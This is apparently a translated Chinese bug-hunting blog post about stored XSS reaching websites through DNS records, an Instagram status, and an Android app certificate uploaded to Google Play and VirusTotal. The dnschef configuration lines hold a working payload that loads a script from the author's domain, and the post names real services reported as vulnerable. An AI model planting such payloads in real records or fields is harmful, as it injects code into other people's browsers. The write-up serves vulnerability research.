我們要在任何可能的地方測試XSS漏洞
在這篇文章中,我準備跟大家討論幾種不同的場景,在這些場景中,不同的服務都會收集各種各樣的數據,但它們又無法正確地去處理這些數據。在某些情況下,數據采用的是安全格式存儲和傳輸的,但是由于數據的解析操作以及進一步處理的過程中存在安全問題,將導致無害的字符串變成攻擊向量。
XSS和DNS
如果你在搜索引擎中搜索“通過DNS實現XSS”(XSS via DNS)的相關話題,你將會看到類似【參考資料一】和【參考資料二】這種介紹如何在TXT記錄中傳遞XSS攻擊向量的文章。但是為什么沒有人考慮過其他類型的記錄呢?比如說CNAME或NS之類的。因為如果你想把域名作為一個攻擊向量的話,你還需要創建自己的NS服務器。
也許使用DNSCHEF會是一個好主意。
我使用的子域名是hack.bo0om.ru(任何子域名都可以),并且將我的IP設置成了該域名的NS服務器。接下來修改dnschef.ini并完成dnschef的配置,添加下列記錄:
- [MX]
- *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
- [NS]
- *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
- [CNAME]
- *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
如果某個在線服務得到了DNS數據之后還將它們打印在了屏幕上,只能說明該服務忘記過濾掉這些數據了。
下面是一些存在XSS漏洞的例子:
- · who.is
- · robtex.com
- · dnsqueries.com
- · etc
XSS和Instagram
有一次我只是為了好玩,然后將一段XSS Payload添加到了我Instagram的個人狀態中。一開始沒發生什么有趣的事,而且這個XSS Payload也是沒有攻擊性的。
但是之后我發現,這個XSS Payload竟然在另外的域名和在線服務中起作用了,從我的Web服務器日志記錄來看,這些域名貌似指向的是社交網絡解析器和一些分析服務。下面給出的是其中部分示例:
- · findgram.me
- · imgrab.com
- · instagy.com
- · iconosquare.com
- · tofo.me
- · photo.sh
- · gramosphere.com
不過其中有一部分已經修復了這個漏洞。
XSS和Google Play
最近,@Black2Fan給我發了一條信息,并問我能不能夠在Google Play應用商店上傳存在XSS漏洞的Android App。我當時都不知道竟然還有這種操作!但我感覺可行。于是我自己弄了一個App,然后為這個App生成了一個證書,并將其中的開發者名稱和其他數據用XSS向量進行了替換。
我用一些包含惡意代碼的文件以及文件路徑組成了一個有效的頁面標簽,并從我自己的域名加載相應的腳本文件。
注:Linux系統支持在文件名中使用特殊字符。
雖然我們可以在文件名中注入自己的腳本代碼,但壞消息是這里有30個字符的限制。不幸的是,我手上可以使用的域名都有點長,而且那些只有一個或兩個字符的域名估計都已經被注冊掉了。但是在現代Web中,你可以使用punycode編碼來注冊域名,而且現在還有很多免費的punycode域名沒有被注冊。比如說xn--g3h。所以我注冊了一個.ws域名(請參考下圖,有個符號這里打不出來,包括點號在內一共四個字符)。
這個App目前仍然可以在Google Play應用商店中找到,但是它隨時可能被刪掉。
而且更加有趣的是,當我將這個App上傳到VirusTotal之后,其中的XSS向量竟然觸發了反病毒產品Web端面板中的漏洞。哈哈哈…而且除了VirusTotla之外,還有兩家天朝的安全廠商也存在這種問題,但這里我就不直接提他們的名字了。
總結
作為一個Bug Hunter,雖然我這一次的發現沒能拿到漏洞獎金,但希望可以給大家提供一種新的挖洞思路,其實我也只是為了好玩而已:D不喜勿噴